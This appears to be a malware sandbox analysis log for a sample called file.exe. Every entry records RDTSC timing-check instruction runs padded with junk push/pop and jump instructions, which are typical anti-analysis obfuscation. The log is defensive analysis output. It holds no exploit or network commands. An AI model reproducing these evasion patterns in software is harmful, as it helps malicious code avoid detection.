Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C77E8E second address: C77EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4994017Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7A49940180h 0x00000019 jng 00007F7A49940176h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C77EC1 second address: C77EDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C782D6 second address: C782DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C782DE second address: C782EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F7A4900AE66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C782EB second address: C782F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C782F3 second address: C782FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7846F second address: C7848F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jno 00007F7A49940178h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F7A49940176h 0x00000018 jg 00007F7A49940176h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7848F second address: C784B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F7A4900AE6Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C784B3 second address: C784BB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C785F8 second address: C78612 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE70h 0x00000007 je 00007F7A4900AE66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78612 second address: C7861E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7A49940176h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7861E second address: C78622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78622 second address: C78626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C25960 second address: C25967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78C41 second address: C78C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C77421 second address: C77454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F7A4900AE73h 0x0000000b popad 0x0000000c jmp 00007F7A4900AE74h 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03EB6 second address: C03EC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F7A49940176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C7B9 second address: C7C7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F7A4900AE6Ch 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3EBBE second address: C3EBD0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7A49940176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F7A4994017Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F1B7 second address: C3F1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F594 second address: C3F5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F5A3 second address: C3F5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7A4900AE66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F5AE second address: C3F5DF instructions: 0x00000000 rdtsc 0x00000002 je 00007F7A4994017Ch 0x00000008 jg 00007F7A49940176h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F7A49940182h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jbe 00007F7A49940184h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F5DF second address: C3F5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F682 second address: C3F68B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F68B second address: C3F68F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FD2E second address: C3FD33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FD33 second address: C3FD39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FD39 second address: C3FD3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FFF9 second address: C3FFFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FFFD second address: C25960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D27D9h], ebx 0x00000010 call dword ptr [ebp+122D1B66h] 0x00000016 jne 00007F7A49940190h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F7A49940183h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D302 second address: C7D31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F7A4900AE71h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D31B second address: C7D334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7A49940176h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A4994017Ah 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D334 second address: C7D338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86BA4 second address: C86BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7A49940176h 0x0000000a pop eax 0x0000000b je 00007F7A4994017Eh 0x00000011 push esi 0x00000012 pop esi 0x00000013 jo 00007F7A49940176h 0x00000019 push eax 0x0000001a push edx 0x0000001b jl 00007F7A49940176h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86BC5 second address: C86BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C857FA second address: C857FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C857FE second address: C85804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85804 second address: C8580D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8580D second address: C85818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7A4900AE66h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85818 second address: C8581D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8581D second address: C85825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85825 second address: C8582B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8582B second address: C8584C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7A4900AE76h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8584C second address: C85858 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7A49940176h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85858 second address: C8585E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C859E3 second address: C859E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C859E7 second address: C85A01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE76h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85A01 second address: C85A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F7A49940176h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85A0F second address: C85A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85B86 second address: C85B91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F7A49940176h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85B91 second address: C85B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85B99 second address: C85BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F7A49940176h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85BA9 second address: C85BB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85BB4 second address: C85BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85E7F second address: C85E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85E83 second address: C85EB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940188h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F7A49940188h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C85EB9 second address: C85EC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F7A4900AE66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8645B second address: C86460 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86460 second address: C8647A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7A4900AE71h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8647A second address: C8647E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C89E31 second address: C89E3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C89E3B second address: C89E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8C9DA second address: C8C9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8C9E2 second address: C8CA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A49940186h 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CA03 second address: C8CA09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CA09 second address: C8CA0F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CB6C second address: C8CB79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F7A4900AE66h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CB79 second address: C8CB7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CB7E second address: C8CBA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnc 00007F7A4900AE66h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jnp 00007F7A4900AE6Eh 0x00000016 jp 00007F7A4900AE66h 0x0000001c push edi 0x0000001d pop edi 0x0000001e je 00007F7A4900AE81h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CCC4 second address: C8CCDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A49940185h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CCDE second address: C8CCFC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7A4900AE80h 0x00000008 jmp 00007F7A4900AE74h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F36F second address: C8F392 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F7A49940176h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jmp 00007F7A49940186h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8F041 second address: C8F04F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F7A4900AE66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93D07 second address: C93D24 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7A4994017Fh 0x0000000d jbe 00007F7A49940176h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C933BB second address: C933E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7A4900AE74h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C933E3 second address: C933E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C933E7 second address: C933EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C933EB second address: C93415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A49940183h 0x00000011 jmp 00007F7A4994017Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C93997 second address: C9399B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9399B second address: C939A7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7A49940176h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C939A7 second address: C939C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F7A4900AEA2h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C939C5 second address: C939F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7A49940176h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7A4994017Ch 0x00000014 jmp 00007F7A49940188h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9ADE2 second address: C9AE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4900AE6Dh 0x00000009 jmp 00007F7A4900AE76h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push edx 0x00000013 pop edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 jmp 00007F7A4900AE75h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C999CE second address: C999D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99B43 second address: C99B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99B47 second address: C99B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99B4B second address: C99B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99B5B second address: C99B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99B5F second address: C99B8D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7A4900AE66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F7A4900AE75h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F7A4900AE66h 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99B8D second address: C99BA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940182h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99D36 second address: C99D4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE6Eh 0x00000007 jl 00007F7A4900AE6Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99E80 second address: C99E99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940181h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99E99 second address: C99E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99E9D second address: C99EA9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7A49940176h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99EA9 second address: C99EB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FA21 second address: C3FA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F7A49940185h 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push esi 0x0000000f jnl 00007F7A49940178h 0x00000015 pop esi 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F7A49940178h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 jc 00007F7A4994017Ch 0x00000037 mov edx, dword ptr [ebp+122D2A18h] 0x0000003d push 00000004h 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007F7A49940178h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 00000015h 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FA9A second address: C3FA9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
